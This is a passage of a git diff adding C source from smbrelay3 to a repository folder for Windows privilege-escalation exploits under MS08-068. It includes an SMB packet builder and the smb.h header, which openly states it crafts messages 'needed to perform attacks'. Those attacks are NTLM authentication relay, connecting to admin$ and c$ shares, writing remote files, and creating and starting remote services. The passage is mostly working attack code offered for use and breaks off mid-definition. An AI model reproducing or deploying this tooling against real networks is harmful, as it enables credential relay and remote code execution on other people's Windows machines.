ReadAndXMessage->MaxCountLow=1024; + ReadAndXMessage->MinCount=1024; + ReadAndXMessage->reserved=0xffffffff; + ReadAndXMessage->remaining=1024; + ReadAndXMessage->HighOffset=0; + ReadAndXMessage->ByteCount=0; + memcpy(NewSmbPacket->buffer,(char*)ReadAndXMessage,sizeof(ReadAndX)); + free(ReadAndXMessage); + break; + + + + case WRITEANDX: + WriteAndXMessage=(WriteAndX *)malloc(sizeof(WriteAndX)); + memset((char*)WriteAndXMessage,'\0',sizeof(WriteAndX)); + NTCreateAndXMessage = (NTCreateAndX*)PreviousSmbMessage->buffer; + NewSmbPacket->TreeId=((smheader *)PreviousSmbMessage)->TreeId; + WriteAndXMessage->WordCount=14; + WriteAndXMessage->AndXCommand=0xff; + WriteAndXMessage->reserved2=0; + WriteAndXMessage->AndXOffset=0xdede; + memcpy(&WriteAndXMessage->FID,(char*)NTCreateAndXMessage+6,2); + + WriteAndXMessage->Offset=0; + WriteAndXMessage->reserved=0xffffffff; + WriteAndXMessage->DataLengthHigh=0; + WriteAndXMessage->DataOffset=64; + WriteAndXMessage->HighOffset=0; + WriteAndXMessage->Padding=0xee; + + switch (SubCommand) + { + case 0: //Default WriteAndX Operation + NewSmbPacket->SmbMessageLength=(uint16)SREV (sizeof(smheader)-sizeof(NewSmbPacket->buffer) +sizeof(WriteAndX) +DataSize -4 ); + WriteAndXMessage->WriteMode=0; + WriteAndXMessage->Remaining=0; + WriteAndXMessage->DataLengthLow=DataSize; + WriteAndXMessage->ByteCount=DataSize+1; + memcpy(NewSmbPacket->buffer,(char*)WriteAndXMessage,sizeof(WriteAndX)); + memcpy(NewSmbPacket->buffer+sizeof(WriteAndX),(char*)data,DataSize); + free(WriteAndXMessage); + break; + case RPCBIND: + //i=116; //size of the ctx struct + dce + //Interface: SVCCTL UUID: 367abb81-9844-35f1-ad32-98f038001003 + //Transfer Syntax: 8a885d04-1ceb-11c9-9fe8-08002b104860 + + //Transfer Syntax: 6cb71c2c-9812-4540-0100-000000000000 + //ctx=AddBinddingInformation(ctx,"367abb81-9844-35f1-ad32-98f038001003","6cb71c2c-9812-4540-0100-000000000000",2,0,&i); + //DumpMem((char*)ctx,i); + //NewSmbPacket->SmbMessageLength=SREV (sizeof(smheader)-sizeof(NewSmbPacket->buffer) +sizeof(WriteAndX) + sizeof(DceRpcBind) + i -4); + NewSmbPacket->SmbMessageLength=SREV (sizeof(smheader)-sizeof(NewSmbPacket->buffer) +sizeof(WriteAndX) + sizeof(DceRpcBind) + DataSize -4); + WriteAndXMessage->WriteMode=0x08; + WriteAndXMessage->Remaining=DataSize + sizeof(DceRpcBind); + WriteAndXMessage->DataLengthLow=DataSize + sizeof(DceRpcBind); + WriteAndXMessage->ByteCount=DataSize+ sizeof(DceRpcBind) +1; + memcpy(NewSmbPacket->buffer,(char*)WriteAndXMessage,sizeof(WriteAndX)); + + dcerpcbind=(DceRpcBind*)malloc(sizeof(DceRpcBind)); + memset((char*)dcerpcbind,'\0',sizeof(DceRpcBind)); + dcerpcbind->VersionMayor=5; + dcerpcbind->VersionMinor=0; + dcerpcbind->PacketType=SubCommand; //Bind + dcerpcbind->PacketFlags=0x03; + dcerpcbind->DataRepresentation=0x00000010; + dcerpcbind->FragmentLength=sizeof(DceRpcBind) + DataSize; + dcerpcbind->AuthLength=0; + dcerpcbind->CallID=1; + dcerpcbind->MaxXmitFragment=4280; + dcerpcbind->MaxRecvFragment=4280; + dcerpcbind->AssocGroup=0; + dcerpcbind->NumberOfCtx=DataSize / sizeof(CtxItem); + + memcpy(NewSmbPacket->buffer +sizeof(WriteAndX) ,(char*)dcerpcbind,sizeof(DceRpcBind)); + memcpy(NewSmbPacket->buffer +sizeof(WriteAndX) + sizeof(DceRpcBind),(char*)data,DataSize); + + free(dcerpcbind); + free(WriteAndXMessage); + break; + default: + printf("Unsupported WriteAndX option\n"); + return(NULL); + break; + } + break; + + + case SMB_COM_TRANSACTION: + TransRequest=(SMB_COM_TRANSACTION_STRUCT *)malloc(sizeof(SMB_COM_TRANSACTION_STRUCT)); + memset((char*)TransRequest,'\0',sizeof(SMB_COM_TRANSACTION_STRUCT)); + NewSmbPacket->TreeId=((smheader *)PreviousSmbMessage)->TreeId; + TransRequest->WordCount=16; + TransRequest->TotalParameterCount=0 ; + TransRequest->MaxDataCount=1024; + TransRequest->MaxParameterCount=0; + TransRequest->MaxSetupCount=0; + TransRequest->reserved=0; + TransRequest->flags=0; + TransRequest->timeout=0x00000000; + TransRequest->reserved2=0; + TransRequest->ParameterCount=0; + TransRequest->ParameterOffset=84; + TransRequest->DataOffset=84; + TransRequest->SetupCount=2; + TransRequest->reserved3=0; + + TransRequest->Function=0x26; //TRANSACT Named PIPE + TransRequest->padding=0; + memcpy((char*)TransRequest->TransactionName,"\x5c\x00\x50\x00\x49\x00\x50\x00\x45\x00\x5c\x00\x00\x00",14); + TransRequest->padding2=0; + + dcerpc=(DceRpcRequest*)malloc(sizeof(DceRpcRequest)); + memset((char*)dcerpc,'\0',sizeof(DceRpcRequest)); + dcerpc->VersionMayor=5; + dcerpc->VersionMinor=0; + dcerpc->PacketType=0; + dcerpc->PacketFlags=3; + dcerpc->DataRepresentation=0x00000010; + dcerpc->AuthLength=0; + dcerpc->CallID=1; + dcerpc->ContextID=0; + dcerpc->OpNum=SubCommand; + //-------- + + NewSmbPacket->SmbMessageLength=(uint16)SREV (sizeof(smheader)-sizeof(NewSmbPacket->buffer) +sizeof(SMB_COM_TRANSACTION_STRUCT) + sizeof(DceRpcRequest) + DataSize -4); + TransRequest->TotalDataCount=(uint16)sizeof(DceRpcRequest) + DataSize;//sizeof(MSCStruct) + (uint16) (strlen((char*)data)+1)*sizeof(WCHAR) + 2*((((int)strlen((char*)data)+1)%2) ==1) ; + TransRequest->DataCount=TransRequest->TotalDataCount; + TransRequest->ByteCount=TransRequest->TotalDataCount + 17; + dcerpc->FragmentLength=TransRequest->TotalDataCount; + //dcerpc->AllocHint=sizeof(DceRpcRequest) +DataSize; //Changed 10, Sept + dcerpc->AllocHint=DataSize; + + memcpy(NewSmbPacket->buffer,(char*)TransRequest,sizeof(SMB_COM_TRANSACTION_STRUCT)); + memcpy(NewSmbPacket->buffer+sizeof(SMB_COM_TRANSACTION_STRUCT),(char*)dcerpc,sizeof(DceRpcRequest)); + memcpy(NewSmbPacket->buffer+sizeof(SMB_COM_TRANSACTION_STRUCT) +sizeof(DceRpcRequest),(char*)data,DataSize); + free(TransRequest); + free(dcerpc); + break; + + + case SESSIONSETUPANDX: + if (SubCommand==ERRORRESPONSE) { + NewSmbPacket->SmbMessageLength=(uint16)SREV (sizeof(smheader)-sizeof(NewSmbPacket->buffer) + 3 -4 ); + NewSmbPacket->NtStatus=0xc000006d; + NewSmbPacket->UserID=PreviousSmbMessage->UserID; + + } else { + if (PreviousSmbMessage!=NULL) NewSmbPacket->UserID = UserID =PreviousSmbMessage->UserID; //Init UserID parameter + + memset((char*)tail1,'\0',sizeof(tail1)); + memset((char*)tail2,'\0',sizeof(tail2)); + chartoWide((char*)tail1,"Windows 2000 2195",17); + chartoWide((char*)tail2,"Windows 2000 5.0",16); + + if (SubCommand==CONTINUERESPONSE) { + SessionSetupAndXResponseMessage=(SessionSetupAndXResponse *)malloc(sizeof(SessionSetupAndXResponse)); + memset((char*)SessionSetupAndXResponseMessage,'\0',sizeof(SessionSetupAndXResponse)); + //SessionSetupAndXResponse *SessionSetupAndXResponseMessage; + //NewSmbPacket->SmbMessageLength=(uint16)SREV (sizeof(smheader)-sizeof(NewSmbPacket->buffer) + sizeof(SessionSetupAndXResponse) + sizeof(tail1) + sizeof(tail2) -4 ); + NewSmbPacket->SmbMessageLength=SREV (sizeof(smheader)-sizeof(NewSmbPacket->buffer) + sizeof(SessionSetupAndXResponse) + sizeof(tail1) + sizeof(tail2) -4 ); + NewSmbPacket->NtStatus=0; + //DumpMem((char*)&PreviousSmbMessage->UserID,0x30); + //printf("El otro userID es: %i\n",PreviousSmbMessage->UserID); + //memcpy((char*)&NewSmbPacket->UserID,(char*)&PreviousSmbMessage->UserID,2); + NewSmbPacket->UserID=PreviousSmbMessage->UserID; + SessionSetupAndXResponseMessage->WordCount=4; + SessionSetupAndXResponseMessage->AndXCommand=0xff; + SessionSetupAndXResponseMessage->AndXOffset=SREV(NewSmbPacket->SmbMessageLength); + SessionSetupAndXResponseMessage->ByteCount=sizeof(tail1)+sizeof(tail2); + memcpy(NewSmbPacket->buffer,(char*)SessionSetupAndXResponseMessage,sizeof(SessionSetupAndXResponse)); + memcpy(NewSmbPacket->buffer +sizeof(SessionSetupAndXResponse) +1,(char*)tail1,sizeof(tail1)); + memcpy(NewSmbPacket->buffer +sizeof(SessionSetupAndXResponse) +1 + sizeof(tail1) ,(char*)tail2,sizeof(tail2)); + //memcpy(NewSmbPacket->buffer,"\x00\x00\x00",3); + free(SessionSetupAndXResponseMessage); + } else { + SessionSetupAndXMessage=(SessionSetupAndX *)malloc(sizeof(SessionSetupAndX)); + memset((char*)SessionSetupAndXMessage,'\0',sizeof(SessionSetupAndX)); + NewSmbPacket->SmbMessageLength=(uint16)SREV (sizeof(smheader)-sizeof(NewSmbPacket->buffer) +sizeof(SessionSetupAndX) + DataSize + 1 + sizeof(tail1) + sizeof(tail2) +2 -4 ); + //printf("packet len: %x\n",SREV(NewSmbPacket->SmbMessageLength)); + //printf("LEN: %x\n",NewSmbPacket->SmbMessageLength); + SessionSetupAndXMessage->WordCount=12; + SessionSetupAndXMessage->AndXCommand=0xff; + SessionSetupAndXMessage->AndXOffset= SREV (NewSmbPacket->SmbMessageLength);//sizeof(smheader)-1024 +NtlmPacketLen + 1+ sizeof(tail1) + sizeof(tail2) +2 -4; + + SessionSetupAndXMessage->MaxBuffer=4356;//16644; + SessionSetupAndXMessage->MaxMpxCount=10; + SessionSetupAndXMessage->SecurityBloblength=DataSize; //Longitud del paquete NTLM + SessionSetupAndXMessage->capabilities=0x800000d4; //0x200000D4; + SessionSetupAndXMessage->ByteCount=(uint16) DataSize + 1 + sizeof(tail1) +sizeof(tail2) +2 ; //incluimos 2 nulls al final y un byte antes de los wchars + + memcpy(NewSmbPacket->buffer,(char*)SessionSetupAndXMessage,sizeof(SessionSetupAndX)); + memcpy(NewSmbPacket->buffer+sizeof(SessionSetupAndX),(char*)data,DataSize); + memcpy(NewSmbPacket->buffer +sizeof(SessionSetupAndX) + DataSize +1,(char*)tail1,sizeof(tail1)); + memcpy(NewSmbPacket->buffer +sizeof(SessionSetupAndX) + DataSize +1 + sizeof(tail1) ,(char*)tail2,sizeof(tail2)); + free(SessionSetupAndXMessage); + } + //free(SessionSetupAndXResponseMessage); + } + break; + + + case TREECONNETANDX: + if (SubCommand== STATUS_BAD_NETWORK_NAME ){ + NewSmbPacket->SmbMessageLength=(uint16)SREV (sizeof(smheader)-sizeof(NewSmbPacket->buffer) + sizeof(TreeConnectAndXResponse) -4 ); + NewSmbPacket->NtStatus=STATUS_BAD_NETWORK_NAME; + memset(NewSmbPacket->buffer,'\0',3); + } else { + NewSmbPacket->SmbMessageLength=(uint16)SREV (sizeof(smheader)-sizeof(NewSmbPacket->buffer) + DataSize -4); + memcpy(NewSmbPacket->buffer,data,DataSize); + } + break; + + + + case SMB_COM_CREATE_DIRECTORY: + case SMB_COM_DELETE_DIRECTORY: + case SMB_COM_OPEN: + case SMB_COM_CREATE: +// case SMB_COM_CLOSE: + case SMB_COM_FLUSH: + case SMB_COM_DELETE: + case SMB_COM_RENAME: + case SMB_COM_QUERY_INFORMATION: + case SMB_COM_SET_INFORMATION: + case SMB_COM_READ: + case SMB_COM_WRITE: + case SMB_COM_LOCK_BYTE_RANGE: + case SMB_COM_UNLOCK_BYTE_RANGE: + case SMB_COM_CREATE_TEMPORARY: + case SMB_COM_CREATE_NEW: + case SMB_COM_CHECK_DIRECTORY: + case SMB_COM_PROCESS_EXIT: + case SMB_COM_SEEK: + case SMB_COM_LOCK_AND_READ: + case SMB_COM_WRITE_AND_UNLOCK: + case SMB_COM_READ_RAW: + case SMB_COM_READ_MPX: + case SMB_COM_READ_MPX_SECONDARY: + case SMB_COM_WRITE_RAW: + case SMB_COM_WRITE_MPX: + case SMB_COM_WRITE_COMPLETE: + case SMB_COM_SET_INFORMATION2: + case SMB_COM_QUERY_INFORMATION2: + case SMB_COM_LOCKING_ANDX: +// case SMB_COM_TRANSACTION: + case SMB_COM_TRANSACTION_SECONDARY: + case SMB_COM_IOCTL: + case SMB_COM_IOCTL_SECONDARY: + case SMB_COM_COPY: + case SMB_COM_MOVE: + case SMB_COM_ECHO: + case SMB_COM_WRITE_AND_CLOSE: + case SMB_COM_OPEN_ANDX: +// case SMB_COM_READ_ANDX: +// case SMB_COM_WRITE_ANDX: + case SMB_COM_CLOSE_AND_TREE_DISC: +// case SMB_COM_TRANSACTION2: + case SMB_COM_TRANSACTION2_SECONDARY: + case SMB_COM_FIND_CLOSE2: + case SMB_COM_FIND_NOTIFY_CLOSE: + case SMB_COM_TREE_CONNECT: + case SMB_COM_TREE_DISCONNECT: + // case SMB_COM_NEGOTIATE: + // case SMB_COM_SESSION_SETUP_ANDX: + case SMB_COM_LOGOFF_ANDX: +// case SMB_COM_TREE_CONNECT_ANDX: + case SMB_COM_QUERY_INFORMATION_DISK: + case SMB_COM_SEARCH: + case SMB_COM_FIND: + case SMB_COM_FIND_UNIQUE: + case SMB_COM_NT_TRANSACT: + case SMB_COM_NT_TRANSACT_SECONDARY: +// case SMB_COM_NT_CREATE_ANDX: + case SMB_COM_NT_CANCEL: + case SMB_COM_OPEN_PRINT_FILE: + case SMB_COM_WRITE_PRINT_FILE: + case SMB_COM_CLOSE_PRINT_FILE: + case SMB_COM_GET_PRINT_QUEUE: + case SMB_COM_READ_BULK: + case SMB_COM_WRITE_BULK: + case SMB_COM_WRITE_BULK_DATA: + + NewSmbPacket->SmbMessageLength=(uint16) SREV (sizeof(smheader)- sizeof(NewSmbPacket->buffer) + DataSize -4 ); + NewSmbPacket->flags2=0x4803; //No Unicode + NewSmbPacket->TreeId=((smheader *)PreviousSmbMessage)->TreeId; + memcpy((char*)NewSmbPacket->buffer,data,DataSize); + //printf("Unsupported SMB message\n"); + //exit(1); + break; + default: + //printf("Unsupported SMB message\n"); + free(NewSmbPacket); + return(NULL); + break; + } + return(NewSmbPacket); +} +/**************************************************************************************/ + + + diff --git a/97-Windows提权/MS08-068/src/smb.h b/97-Windows提权/MS08-068/src/smb.h new file mode 100644 index 0000000..170852d --- /dev/null +++ b/97-Windows提权/MS08-068/src/smb.h @@ -0,0 +1,594 @@ + +/* $Id$ + SMBRELAY - Small SMB Library packet generation. + + Author: Andres Tarasco - (atarasco at gmail.com ) + URL: http://www.tarasco.org + + This is not a complete library, but its functional for sending special crafted messages needed to perform attacks with smbrelay3 + Lots of improvements need to be done but at this time works for me. + Currently the following messages are supported: + + a) SMB NTLM Authentication (NegotiateProtocolRequest and SessionSetupAndX) + b) Connecting To resources (like c$, ipc$, admin$, pipes, ...) (TreeConnectAndX ) + c) Opening remote Files for Writting (by default) and reading (NtCreateAndX) + d) Writting remote files (WriteAndX) + e) Opening Remote Service Control Manager (Connecting, creating a service, open a service and starting a service) + Maybe more.. take a look to the code ;) + + Data structures have been added by reversing Raw dumps with the help of ethereal disectors. + NOTE: Services manipulation and RPCBinds are hardcoded. + */ +#ifndef _SMB_H +#define _SMB_H +#define _CRT_SECURE_NO_DEPRECATE +#include "ntlm.h" +#define SREV(x) ((((x)&0xFF)<<8) | (((x)>>8)&0xFF)) +//#define SREV htonl +#define SMBPACKETLEN(x) ((x->SmbMessageLength) +4 ) +//#define GetDceRpcPacketFromBuffer(buf) (DceRpcBind*) (char*) (buf + SREV(((smheader*)buf)->SmbMessageLength) +4 - ( (OpenScManagerW*)((smheader*)buf)->buffer)->TotalDataCount) +#define GetDceRpcPacketFromBuffer(buf) ((DceRpcBind*)(char*) (buf + SREV(((smheader*)buf)->SmbMessageLength) +4 - ( (SMB_COM_TRANSACTION_STRUCT*)((smheader*)buf)->buffer)->TotalDataCount)) + + + +#define SMB_COM_CREATE_DIRECTORY 0x00 +#define SMB_COM_DELETE_DIRECTORY 0x01 +#define SMB_COM_OPEN 0x02 +#define SMB_COM_CREATE 0x03 +#define SMB_COM_CLOSE 0x04 +#define SMB_COM_FLUSH 0x05 +#define SMB_COM_DELETE 0x06 +#define SMB_COM_RENAME 0x07 +#define SMB_COM_QUERY_INFORMATION 0x08 +#define SMB_COM_SET_INFORMATION 0x09 +#define SMB_COM_READ 0x0A +#define SMB_COM_WRITE 0x0B +#define SMB_COM_LOCK_BYTE_RANGE 0x0C +#define SMB_COM_UNLOCK_BYTE_RANGE 0x0D +#define SMB_COM_CREATE_TEMPORARY 0x0E +#define SMB_COM_CREATE_NEW 0x0F +#define SMB_COM_CHECK_DIRECTORY 0x10 +#define SMB_COM_PROCESS_EXIT 0x11 +#define SMB_COM_SEEK 0x12 +#define SMB_COM_LOCK_AND_READ 0x13 +#define SMB_COM_WRITE_AND_UNLOCK 0x14 +#define SMB_COM_READ_RAW 0x1A +#define SMB_COM_READ_MPX 0x1B +#define SMB_COM_READ_MPX_SECONDARY 0x1C +#define SMB_COM_WRITE_RAW 0x1D +#define SMB_COM_WRITE_MPX 0x1E +#define SMB_COM_WRITE_COMPLETE 0x20 +#define SMB_COM_SET_INFORMATION2 0x22 +#define SMB_COM_QUERY_INFORMATION2 0x23 +#define SMB_COM_LOCKING_ANDX 0x24 +#define SMB_COM_TRANSACTION 0x25 +#define SMB_COM_TRANSACTION_SECONDARY 0x26 + +#define SMB_COM_IOCTL 0x27 +#define SMB_COM_IOCTL_SECONDARY 0x28 +#define SMB_COM_COPY 0x29 +#define SMB_COM_MOVE 0x2A +#define SMB_COM_ECHO 0x2B +#define SMB_COM_WRITE_AND_CLOSE 0x2C +#define SMB_COM_OPEN_ANDX 0x2D +#define SMB_COM_READ_ANDX 0x2E +#define SMB_COM_WRITE_ANDX 0x2F +#define SMB_COM_CLOSE_AND_TREE_DISC 0x31 +#define SMB_COM_TRANSACTION2 0x32 +#define SMB_COM_TRANSACTION2_SECONDARY 0x33 +#define SMB_COM_FIND_CLOSE2 0x34 +#define SMB_COM_FIND_NOTIFY_CLOSE 0x35 +#define SMB_COM_TREE_CONNECT 0x70 +#define SMB_COM_TREE_DISCONNECT 0x71 +#define SMB_COM_NEGOTIATE 0x72 +#define SMB_COM_SESSION_SETUP_ANDX 0x73 +#define SMB_COM_LOGOFF_ANDX 0x74 +#define SMB_COM_TREE_CONNECT_ANDX 0x75 + +#define SMB_COM_QUERY_INFORMATION_DISK 0x80 +#define SMB_COM_SEARCH 0x81 +#define SMB_COM_FIND 0x82 +#define SMB_COM_FIND_UNIQUE 0x83 +#define SMB_COM_NT_TRANSACT 0xA0 +#define SMB_COM_NT_TRANSACT_SECONDARY 0xA1 +#define SMB_COM_NT_CREATE_ANDX 0xA2 +#define SMB_COM_NT_CANCEL 0xA4 +#define SMB_COM_OPEN_PRINT_FILE 0xC0 +#define SMB_COM_WRITE_PRINT_FILE 0xC1 +#define SMB_COM_CLOSE_PRINT_FILE 0xC2 +#define SMB_COM_GET_PRINT_QUEUE 0xC3 + +#define SMB_COM_READ_BULK 0xD8 +#define SMB_COM_WRITE_BULK 0xD9 +#define SMB_COM_WRITE_BULK_DATA 0xDA + + +//-------------------- +#define SMBCLOSE 0x04 +//#define SERVICEOPERATION 0x25 +#define READANDX 0x2e +#define WRITEANDX 0x2f +#define FINDFIRST2 0x32 +#define NEGOTIATEPROTOCOLREQUEST 0x72 +#define SESSIONSETUPANDX 0x73 +#define SESSIONLOGOFF 0x74 +#define TREECONNETANDX 0x75 +#define NTCREATEANDX 0xa2 + + +//SERVICEOPERATION WideChar subcommands +#define STOPSERVICE 1 +#define CHANGESERVICECONFIG 11 +#define CREATESERVICE 12 +#define OPENSCMANAGER 15 +#define OPENSERVICEW 16 +#define STARTSERVICE 19 +#define OPENSERVICEA 28 + + + +//SESSIONSETUPANDX Subcommands +#define CONTINUERESPONSE 1 +#define ERRORRESPONSE 2 + +//WRITEANDX subcommands +#define RPCBIND 0x0b + +#define RPC_RESPONSE (uint8)0x02 + +#define STATUS_SHARING_VIOLATION 0xc0000043 +#define STATUS_BAD_NETWORK_NAME 0xcc + + +#ifndef WCHAR +#ifdef WIN32 +typedef wchar_t WCHAR; +#else +typedef unsigned short WCHAR; +#endif +#endif + +/* +typedef struct { + unsigned long Data1; + unsigned short Data2; + unsigned short Data3; + byte Data4[8]; +} guid; +*/ +typedef struct { + uint16 SmbMessageType; //0x00 + uint16 SmbMessageLength; + uint8 ProtocolHeader[4]; //"\xffSMB" + uint8 SmbCommand; + uint32 NtStatus; //0x00000000 + uint8 flags; //0x18 - pathnames not case sensitive & pathnames canonicalized + uint16 flags2; //0xC001 (Unicode & Nt error types & longfilename support + uint16 ProcessIDHigh; //0x00 + uint8 signature[8]; //0x00000000000 + uint16 reserved; //0x0000 + uint16 TreeId; + uint16 ProccessID; //0xfeff + uint16 UserID; + uint16 multipleID; //Incremental 64bytes en cada request. + char buffer[16384]; // Custom SmbCommand data +} smheader; + + +typedef struct { + uint8 VersionMayor; + uint8 VersionMinor; + uint8 PacketType; + uint8 PacketFlags; + uint32 DataRepresentation; + uint16 FragmentLength; + uint16 AuthLength; + uint32 CallID; + uint32 AllocHint; + uint16 ContextID; + uint16 OpNum; +} DceRpcRequest; + + +typedef struct { + uint32 ReferentID; + uint32 MaxCount; + uint32 Offset; + uint32 ActualCount; + //uint16 padding; + uint16 lpFileNameW[256]; + uint32 Database; + uint32 AccessMask; +} MSCStruct; //Used when Calling OpenSCManagerW() againt SMB + + +typedef struct { + uint8 uuid[16]; + uint16 MayorVersion; + uint16 MinorVersion; + +} DceInterface; + +typedef struct { + uint16 ContextID; + uint8 NumberOfTransItems; + uint8 padding; + DceInterface AbstractSyntaxis; + DceInterface TransferSyntaxis; +} CtxItem; + +typedef struct { + uint8 VersionMayor; + uint8 VersionMinor; + uint8 PacketType; + uint8 PacketFlags; + uint32 DataRepresentation; + uint16 FragmentLength; + uint16 AuthLength; + uint32 CallID; + uint16 MaxXmitFragment; + uint16 MaxRecvFragment; + uint32 AssocGroup; + uint8 NumberOfCtx; + uint8 padding[3]; +} DceRpcBind; + +typedef struct { + uint8 WordCount; + uint16 TotalParameterCount; + uint16 TotalDataCount; + uint16 MaxParameterCount; + uint16 MaxDataCount; + uint8 MaxSetupCount; + uint8 reserved; + uint16 flags; + uint32 timeout; //0x00000000 + uint16 reserved2; + uint16 ParameterCount; + uint16 ParameterOffset; + uint16 DataCount; + uint16 DataOffset; + uint8 SetupCount; + uint8 reserved3; + uint16 Function; //0x0026 for openscManager - Find_First2 + uint16 FID; + uint16 ByteCount; + uint8 padding; + uint8 TransactionName[14]; + uint16 padding2; + //DCERPC struct + //Microosft ServiceControl +} SMB_COM_TRANSACTION_STRUCT;//OpenScManagerW; + + + + + +typedef struct { + uint8 ContextHandle[20]; + uint32 ServiceType; + uint32 StartType; //0x02 + uint32 unknown1; //0xFFFFFFFF + uint16 unknown2; //0x00 + uint16 unknown3; //0x02 + uint32 MaxLenLow; + uint32 MaxLenHigh; + uint32 Lenght; + uint8 buffer[1024]; + uint8 blank[32]; + + + /* +// uint16 unknown6; //0x0310; + uint32 unknown7; //0x00000000 + uint32 unknown8; //0x00000000 + uint16 unknown9; //0x04 + uint16 unknown10; //0x02 + + uint32 unknown11; //0x02 + uint32 unknown12; //0x00000000 + + uint32 unknown13; //0x02 + uint32 unknown14; //0x00000000 + //uint8 blank[12]; + uint32 unknown15; +*/ +/* +0000031B 00 00 00 00 f2 b7 95 63 63 eb f1 49 8d 4d 70 22 .......c c..I.Mp" +0000032B 67 87 b1 b5 + 10 00 00 00 02 00 00 00 ff ff ff ff g....... ........ +0000033B 00 00 02 00 + 09 00 00 00 00 00 00 00 09 00 00 00 ........ ........ +0000034B 73 00 6d 00 72 00 73 00 2e 00 65 00 78 00 65 00 s.m.r.s. ..e.x.e. +0000035B 00 00 + 10 03 00 00 00 00 00 00 00 00 04 00 02 00 ........ ........ + +0000036B 02 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 ........ ........ +0000037B 00 00 00 00 00 00 00 00 00 00 00 00 ........ .... +*/ +} ChangeServiceConfigWStruct; + + + +typedef struct { + uint8 WordCount; //0x14 + uint8 AndXCommand; //0xff no further command + uint8 reserved2; //0x00 + uint16 AndXOffset; + uint16 FID; + uint32 Offset; + uint32 reserved; + uint16 WriteMode; + uint16 Remaining; + uint16 DataLengthHigh; + uint16 DataLengthLow; +// uint16 DataLengthRow; + uint16 DataOffset; + uint32 HighOffset; + uint16 ByteCount; + uint8 Padding; +} WriteAndX; + +typedef struct { + uint8 WordCount; //0x14 + uint8 AndXCommand; //0xff no further command + uint8 reserved2; //0x00 + uint16 AndXOffset; + uint16 FID; + uint32 offset; + uint16 MaxCountLow; + uint16 MinCount; + uint32 reserved; //0xffffffff + uint16 remaining; + uint32 HighOffset; + uint16 ByteCount; +} ReadAndX; + + +typedef struct { + uint8 WordCount; //Number of parameters in this struct + uint8 AndXCommand; //0xff no further command + uint8 reserved2; //0x00 + uint16 AndXOffset; + + uint16 MaxBuffer; + uint16 MaxMpxCount; + uint16 VcNumber; //0x0000 + uint32 SessionKey; //0x00000000 + uint16 SecurityBloblength; + uint32 reserved3; //0x00000000 + uint32 capabilities; //0x200000D4 + uint16 ByteCount; +} SessionSetupAndX; + +typedef struct { + uint8 WordCount; //Number of parameters in this struct + uint8 AndXCommand; //0xff no further command + uint8 reserved2; //0x00 + uint16 AndXOffset; + uint16 Action; + uint16 SecurityBloblength; + uint16 ByteCount; +// uint8 padding; +} SessionSetupAndXResponse; + +/* +typedef struct { + uint8 BufferFormat; + char Name[256]; +} DIALECT; + +*/ +typedef struct { + uint8 BufferFormat; + char *Name; +} DIALECT; + + +typedef struct { + uint8 WordCount; + uint16 ByteCount; +// DIALECT *Dialects; + char *Dialects; +} NegotiateProtocolRequest; + +typedef struct { + uint8 WordCount; //Number of parameters in this struct + uint16 DialecIndex; + uint8 SecurityMode; + uint16 MaxMxpCount; + uint16 MaxVcs; + uint32 MaxBufferSize; + uint32 MaxRawBuffer; + uint32 SessionKey; + uint32 Capabilities; + //uint64 ServerTime; + uint8 ServerTime[8]; + uint16 ServerTimeZone; + uint8 KeyLength; + uint16 ByteCount; + uint8 ServerGuid[16]; +} NegotiateProtocolResponse; + + +typedef struct { + uint8 WordCount; + uint8 AndXCommand; //0xff no further command + uint8 reserved2; //0x00 + uint16 AndXOffset; + uint16 flags; + uint16 PasswordLen; //Set to 0x01 + uint16 ByteCount; + uint8 Password; //Set to 0x00 + //resource + //service ????\0 +} TreeConnectAndX; + +typedef struct { + uint8 WordCount; + uint16 ByteCount; +} TreeConnectAndXResponse; + + +typedef struct { + uint8 WordCount; + uint16 TotalParameterCount; + uint16 TotalDataCount; + uint16 MaxParameterCount; + uint16 MaxDataCount; + uint8 MaxSetupCount; + uint8 reserved; + uint16 flags; + uint32 timeout; //0x00000000 + uint16 reserved2; + uint16 ParameterCount; + uint16 ParameterOffset; + uint16 DataCount; + uint16 DataOffset; + uint8 SetupCount; + uint8 reserved3; + uint16 SubCommand; //0x0001 - Find_First2 + uint16 ByteCount; + + uint8 padding[3]; + uint16 SearchAttributes; + uint16 SearchCount; + uint16 Searchflags; + uint16 LevelOfInterest; + uint32 StorageType; + uint8 *SearchPattern;//[100]; + + + //uint8 Find_First2[18]; //lo metemos hardcodeado. +} FIND_FIRST2; + +/* + uint8 padding[3]; + uint16 SearchAttributes; + uint16 SearchCount; + uint16 Searchflags; + uint16 LevelOfInterest; + uint32 StorageType; + uint8 *SearchPattern;//[100]; +*/ + + + + +typedef struct { + uint8 WordCount; //0x24 + uint16 FID; //0xff no further command + uint32 LastWrite; + uint16 ByteCount; +} CLOSE; + +typedef struct { + uint8 WordCount; //0x24 + uint8 AndXCommand; //0xff no further command + uint8 reserved1; //0x00 + uint16 AndXOffset; + uint8 reserved2; + uint16 FilenameLen; + uint32 CreationFlags; //0x16 + uint32 RootFID; + uint32 AccessMask;//0x30196 + uint32 AllocationSize; //Size del fichero + uint32 AllocationSizeHigh; + uint32 FileAttributes; + uint32 ShareAccess; + uint32 Disposition; //0x05000000 + uint32 CreateOptions; + uint32 Impersonation; + uint8 SecurityFlags; + uint16 ByteCount; + uint8 padding; +} NTCreateAndX; + + +typedef struct { + uint32 MaxLenLow; + uint32 MaxLenHigh; + uint32 Lenght; + uint8 data[1024]; +} DataBlock; + +typedef struct { + uint8 ContextHandle[20]; + DataBlock ServiceName; + uint32 unknown; // ?? 0002 + DataBlock ServiceDescription; + uint32 unknown1; //0x000f01ff + uint32 ServiceType; + uint32 StartType; + uint32 unknown2; //0x0000000 + DataBlock path; + uint8 blank[28]; +} CreateServiceWStruct; + +typedef struct { + uint8 ContextHandle[20]; + /* + uint32 MaxLenLow; + uint32 MaxLenHigh; + uint32 Lenght; + + uint8 buffer[512]; //service Name + */ + DataBlock ServiceName; + //uint16 unknown; + uint32 flags; //22 00 +} OpenServiceAStruct; + + +#ifndef WIN32 + #define SERVICE_QUERY_CONFIG 1 + #define SERVICE_CHANGE_CONFIG 2 + #define SERVICE_QUERY_STATUS 4 + #define SERVICE_ENUMERATE_DEPENDENTS 8 + #define SERVICE_START 16 + #define SERVICE_STOP 32 + #define SERVICE_PAUSE_CONTINUE 64 + #define SERVICE_INTERROGATE 128 + #define SERVICE_USER_DEFINED_CONTROL 256 + #define SERVICE_ALL_ACCESS 